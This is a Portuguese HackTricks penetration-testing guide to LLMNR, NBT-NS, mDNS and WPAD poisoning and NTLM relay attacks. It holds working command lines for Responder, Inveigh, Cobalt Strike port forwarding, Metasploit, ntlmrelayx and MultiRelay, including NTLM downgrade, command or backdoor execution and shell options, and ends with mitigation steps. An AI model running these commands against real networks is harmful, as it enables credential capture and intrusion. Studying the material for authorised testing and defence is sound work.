22 KiB
Spoofing LLMNR, NBT-NS, mDNS/DNS e WPAD e Ataques de Relay
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra The PEASS Family, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud repo.
Protocolos de rede
LLMNR, NBT-NS e mDNS
Os sistemas Microsoft usam o Link-Local Multicast Name Resolution (LLMNR) e o NetBIOS Name Service (NBT-NS) para resolução de host local quando as pesquisas DNS falham. As implementações de zero configuração da Apple Bonjour e do Linux usam o Multicast DNS (mDNS) para descobrir sistemas dentro de uma rede. Esses protocolos são não autenticados e transmitem mensagens por UDP; portanto, os atacantes podem explorá-los para direcionar os usuários para serviços maliciosos.
Você pode se passar por serviços que são procurados por hosts usando o Responder para enviar respostas falsas.
Leia aqui mais informações sobre como se passar por serviços com o Responder.
WPAD
Muitos navegadores usam o Web Proxy Auto-Discovery (WPAD) para carregar as configurações de proxy da rede. Um servidor WPAD fornece as configurações de proxy do cliente por meio de uma URL específica (por exemplo, http://wpad.example.org/wpad.dat) ao ser identificado por meio de qualquer um dos seguintes:
- DHCP, usando uma entrada de código 25234
- DNS, procurando o nome do host wpad no domínio local
- Microsoft LLMNR e NBT-NS (no caso de falha na pesquisa DNS)
O Responder automatiza o ataque WPAD - executando um proxy e direcionando clientes para um servidor WPAD malicioso via DHCP, DNS, LLMNR e NBT-NS.
Envenenamento de protocolos
Responder - LLMNR, NBT-NS e MDNS
Responder é um envenenador de LLMNR, NBT-NS e MDNS. Ele responderá a consultas NBT-NS (NetBIOS Name Service) específicas com base no sufixo do nome (consulte: http://support.microsoft.com/kb/163409). Por padrão, a ferramenta só responderá à solicitação do serviço de servidor de arquivos, que é para SMB.
O conceito por trás disso é direcionar nossas respostas e ser mais furtivo na rede. Isso também ajuda a garantir que não quebremos o comportamento legítimo do NBT-NS.
- Responder está instalado no kali por padrão e o arquivo de configuração está localizado em **
/etc/responder/Responder.conf
** (aqui você pode desativar servidores falsos) - Responder irá imprimir hashes na tela e gravá-los em um arquivo de log por host localizado no diretório
/usr/share/responder/logs
. Os hashes são salvos no formato(MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt
- Você pode encontrar o Responder para Windows aqui
- O Responder funciona em ipv4 e ipv6
Parâmetros do Responder
--version show program's version number and exit
-h, --help show this help message and exit
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
BROWSER, LLMNR requests without responding.
-I eth0, --interface=eth0
Network interface to use, you can use 'ALL' as a
wildcard for all interfaces
-i 10.0.0.21, --ip=10.0.0.21
Local IP to use (only for OSX)
-6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed
Poison all requests with another IPv6 address than
Responder's one.
-e 10.0.0.22, --externalip=10.0.0.22
Poison all requests with another IP address than
Responder's one.
-b, --basic Return a Basic HTTP authentication. Default: NTLM
-r, --wredir Enable answers for netbios wredir suffix queries.
Answering to wredir will likely break stuff on the
network. Default: False
-d, --DHCP Enable answers for DHCP broadcast requests. This
option will inject a WPAD server in the DHCP response.
Default: False
-D, --DHCP-DNS This option will inject a DNS server in the DHCP
response, otherwise a WPAD server will be added.
Default: False
-w, --wpad Start the WPAD rogue proxy server. Default value is
False
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
Upstream HTTP proxy used by the rogue WPAD Proxy for
outgoing requests (format: host:port)
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
retrieval. This may cause a login prompt. Default:
False
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
authentication for the proxy. WPAD doesn't need to be
ON. This option is highly effective when combined with
-r. Default: False
--lm Force LM hashing downgrade for Windows XP/2003 and
earlier. Default: False
--disable-ess Force ESS downgrade. Default: False
-v, --verbose Increase verbosity.
Parâmetros de Resposta
- A flag
-A
nos coloca no modo de análise, permitindo-nos ver solicitações NBT-NS, BROWSER e LLMNR no ambiente sem envenenar nenhuma resposta. - Sempre devemos fornecer uma interface ou um IP.
-wf
iniciará o servidor proxy WPAD rogue.-f
tentará identificar o sistema operacional e a versão do host remoto.- Use a flag
-v
para aumentar a verbosidade (muitos dados adicionais impressos no console). - Opções como
-F
e-P
podem ser usadas para forçar a autenticação NTLM ou Basic e forçar a autenticação do proxy, mas podem causar uma solicitação de login, portanto, devem ser usadas com moderação. - A flag
-w
utiliza o servidor proxy WPAD integrado. Isso pode ser altamente eficaz, especialmente em grandes organizações, porque capturará todas as solicitações HTTP de qualquer usuário que iniciar o Internet Explorer se o navegador tiver a opção Detectar configurações automaticamente habilitada.
Executando o Responder
Para executar o comportamento padrão do Responder, basta executar:
responder -I <Iface> #Default conf
responder -I <Iface> -P -r -v #More chances but might break things
Uma técnica interessante é usar o responder para rebaixar a autenticação NTLM sempre que possível. Isso permitirá capturar desafios e respostas NTLMv1 em vez de NTLMv2 que pode ser facilmente quebrado seguindo este guia.
#Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"
responder -I <Iface> --lm --disable-ess #Downgrade NTLM authntication if possible and force ESS downgrade
Por padrão, a impersonificação do WPAD não será executada, mas você pode executá-la fazendo:
responder -I <Iface> --wpad
Você também pode resolver solicitações NetBIOS com seu IP. E criar um proxy de autenticação:
responder.py -I <interface> -Pv
Você não será capaz de interceptar hashes NTLM (normalmente), mas pode facilmente pegar alguns desafios e respostas NTLM que você pode quebrar usando, por exemplo, a opção --format=netntlmv2
do john.
Os logs e desafios da instalação padrão do Responder no kali podem ser encontrados em /usr/share/responder/logs
Responder - Envenenamento de DHCP
O Windows usa várias opções DHCP personalizadas, como NetBIOS, WINS, configurações WPAD. Quando uma estação de trabalho envia uma solicitação DHCP para obter suas configurações de rede, essas configurações adicionais podem ser incluídas na resposta DHCP para facilitar a conectividade e a resolução de nomes.
Falsificar respostas DHCP sem interrupção pode ser desafiador, pois você está interferindo na configuração de rede de uma estação de trabalho. Geralmente, você precisa ter um conhecimento muito bom da sub-rede de destino, onde está o servidor DNS, onde está o switch, tabela de roteamento, domínio, máscara de rede, servidor DHCP, etc. Qualquer erro com essas configurações resultará em interrupção na rede.
No entanto, falsificar respostas DHCP tem benefícios únicos. É definitivamente mais furtivo do que o envenenamento ARP; Uma resposta unicast é suficiente para envenenar permanentemente as informações de roteamento da vítima, também é comum ver vários servidores DHCP operando em uma rede. As respostas unicast do DHCP são mais complexas de detectar, alguns switches fornecem configurações de segurança para evitar a espionagem DHCP, no entanto, essas configurações não são diretas e muitas vezes são mal configuradas quando habilitadas.
Este ataque é altamente eficaz e fornece hashes NTLMv1/2 garantidos.
./Responder.py -I eth0 -Pdv
Responder - Capturando credenciais
O Responder vai se passar por todos os serviços usando os protocolos mencionados. Quando algum usuário tentar acessar um serviço que está sendo resolvido usando esses protocolos, ele tentará se autenticar contra o Responder e o Responder será capaz de capturar as "credenciais" (provavelmente um Desafio/Resposta NTLMv2):
É possível tentar rebaixar para o NetNTLMv1 ou tentar desativar o ESS.
Inveigh - C#/PowerShell Responder
Inveigh é um falsificador de ADIDNS/LLMNR/NBNS/mDNS/DNS do PowerShell e ferramenta de homem-no-meio projetada para ajudar testadores de penetração/red teamers que se encontram limitados a um sistema Windows.
Inveigh era um script do PowerShell, agora é um binário C# que tem as mesmas principais características do Responder. Há uma wiki que lista todos os parâmetros e instruções de uso.
Outra versão pode ser encontrada em InveighZero.
Ou execute-o com mais opções:
Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y
Ou execute a versão em C#:
Inveigh.exe
Ataque de Relé NTLM
Este ataque reléia sessões de autenticação SMB em uma rede interna para uma máquina alvo. Se a sessão de autenticação for bem-sucedida, você será automaticamente direcionado para um shell do sistema. Observe que a autenticação reléiada deve ser de um usuário que tenha acesso de Administrador Local ao host reléiado e a assinatura SMB deve estar desativada.
Encaminhamento e tunelamento 445
{% hint style="warning" %} Se você puder introduzir uma máquina dentro da rede, poderá usar qualquer uma das ferramentas da seção a seguir para realizar um ataque de relé e não precisará se preocupar com isso. {% endhint %}
No entanto, em equipes vermelhas, esse não é o caso, em equipes vermelhas, geralmente será necessário encaminhar o tráfego da porta 445 de uma máquina Windows para sua máquina executando qualquer uma das seguintes ferramentas e, em seguida, rotear o tráfego dessa ferramenta por meio de um proxy para alcançar a máquina a ser atacada internamente.
A ferramenta PortBender é um driver para redirecionar o tráfego destinado à porta 445 para outra porta (por exemplo, 8445) que podemos vincular. Ele requer acesso de administrador local para que o driver seja carregado. Faz sentido usar cd C:\Windows\System32\drivers
já que é onde a maioria dos drivers do Windows vão.
Cobalt Strike -> Script Manager -> Load (Select from the filesystem PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Go to drivers dir
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Forward traffic to 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Send traffic to port 8445 to Team Server
beacon> socks 1080 # Socks proxy in port 1080 to attack host in the internal network from the Team Server
# To kill
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
Metasploit
Metasploit é uma das ferramentas mais populares para testes de penetração. Ele fornece uma ampla gama de módulos que podem ser usados para explorar vulnerabilidades em sistemas e aplicativos. O Metasploit também permite a criação de payloads personalizados para serem usados em ataques. Ele é uma ferramenta essencial para qualquer testador de penetração.
setg Proxies socks4:127.0.0.1:1080 # Use this if you need to route the traffic to reach the attacked ip
set SRVHOST <local_ip>
set SRVPORT 445
set SMBHOST <ip_to_auth_to>
run -j
smbrelayx
O smbrelayx é uma ferramenta que permite a um atacante realizar um ataque de relé SMB. Isso significa que o atacante pode interceptar o tráfego SMB entre dois hosts e, em seguida, encaminhar o tráfego para outro host. O smbrelayx é particularmente útil em redes que usam autenticação NTLM, pois permite que o atacante obtenha as credenciais do usuário sem precisar quebrar a senha. O smbrelayx também pode ser usado para executar código em um host de destino, o que o torna uma ferramenta poderosa para um atacante.
python3 smbrelayx.py -t smb://<ip_to_attack> -smb2support --no-http-server --no-wcf-server
# By default it will just dump hashes
# To execute a command use: -c "ipconfig"
# To execute a backdoor use: -e "/path/to/backdoor
# Attack through socks proxy
proxychains python3 ntlmrelayx.py -t smb://<ip_to_attack> -smb2support --no-http-server --no-wcf-server
MultiRelay
Se você deseja usar o MultiRelay, vá para /usr/share/responder/tools e execute o MultiRelay (-t <IP alvo> -u <Usuário>
):
python MultiRelay.py -t <IP target> -u ALL # If "ALL" then all users are relayed
# By default a shell is returned
python MultiRelay.py -t <IP target> -u ALL -c whoami #-c to execute command
python MultiRelay.py -t <IP target> -u ALL -d #-d to dump hashes
# Use proxychains if you need to route the traffic to reach the attacked ip
Forçar Logins NTLM
No Windows, você pode ser capaz de forçar algumas contas privilegiadas a se autenticarem em máquinas arbitrárias. Leia a página a seguir para aprender como:
{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %} printers-spooler-service-abuse.md {% endcontent-ref %}
Solução
Desativando LLMNR
Para desativar o LLMNR em seu domínio para clientes DNS, abra o gpedit.msc.
Navegue até Configuração do Computador->Modelos Administrativos->Rede->Cliente DNS.
Localize a opção "Desativar resolução de nome multicast" e clique em "Configuração de política":
Assim que a nova janela abrir, habilite esta opção, pressione Aplicar e clique em OK:
Desativando NBT-NS
Uma opção para desativar o NBT-NS é usar opções de escopo DHCP.
Se estiver usando o servidor DHCP da Microsoft, selecione o escopo para o qual deseja desativar o NBT-NS. Clique com o botão direito em "Opções de Escopo" e clique em "Configurar Opções". No exemplo abaixo, o escopo DHCP no qual desejo desativar o NBT-NS é 192.168.1.100.
Na janela Opções de Escopo, navegue até a guia avançada, altere a janela suspensa para "Opções do Microsoft Windows 2000":
Selecione a opção "001 Microsoft Disable Netbios Option" na lista e altere seu valor para "0x2", clique em Aplicar e depois em OK:
WPAD
Para mitigar o ataque WPAD, você pode adicionar uma entrada para "wpad" em sua zona DNS. Observe que a entrada DNS não precisa apontar para um servidor WPAD válido. Desde que as consultas sejam resolvidas, o ataque será impedido.
Multi-relay
1. Forçando a assinatura SMB em todas as máquinas Windows locais. Essa configuração assina digitalmente cada sessão SMB, o que força o cliente e o servidor a verificar a origem dos pacotes antes de continuar. Essa configuração só é ativada por padrão em controladores de domínio. Os seguintes artigos da Microsoft detalham essas configurações (que podem ser habilitadas por meio de política de grupo) e como implementá-las.
2. Revisando e garantindo que os usuários na rede local só possam fazer login remotamente em máquinas em que é necessário. Por exemplo: Sally só pode fazer login na estação de trabalho de Sally. Se um invasor interceptar a sessão de autenticação SMB de Sally, ele não poderá transmitir a sessão para nenhuma estação de trabalho, tornando esse método inútil.
3. Restringir a autenticação NTLM na rede local o máximo possível. Este ataque não pode aproveitar a autenticação Kerberos, portanto, limitando a quantidade de NTLM que está ocorrendo, este ataque pode ser grandemente prejudicado. Há informações da Microsoft sobre como fazer isso acontecer, mas tenha cuidado... Se a autenticação Kerberos falhar por qualquer motivo, geralmente volta para o NTLM. Se você desativá-lo completamente, sua rede pode parar.
4. Prevenir usuários não autorizados em sua rede. Uma ameaça interna provavelmente não estará utilizando um ataque SMB Relay, pois já possui credenciais de rede. Reforçando suas políticas de segurança física, impedindo dispositivos não autorizados na rede com ACLs e filtragem MAC e garantindo a segmentação adequada da rede, você pode limitar muito a ameaça deste ataque sendo executado.
Referências
- https://intrinium.com/smb-relay-attack-tutorial/
- Imagens de:
https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
https://intrinium.com/smb-relay-attack-tutorial/
https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra The PEASS Family, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas dicas de hacking enviando PRs para o repositório hacktricks e hacktricks-cloud repo.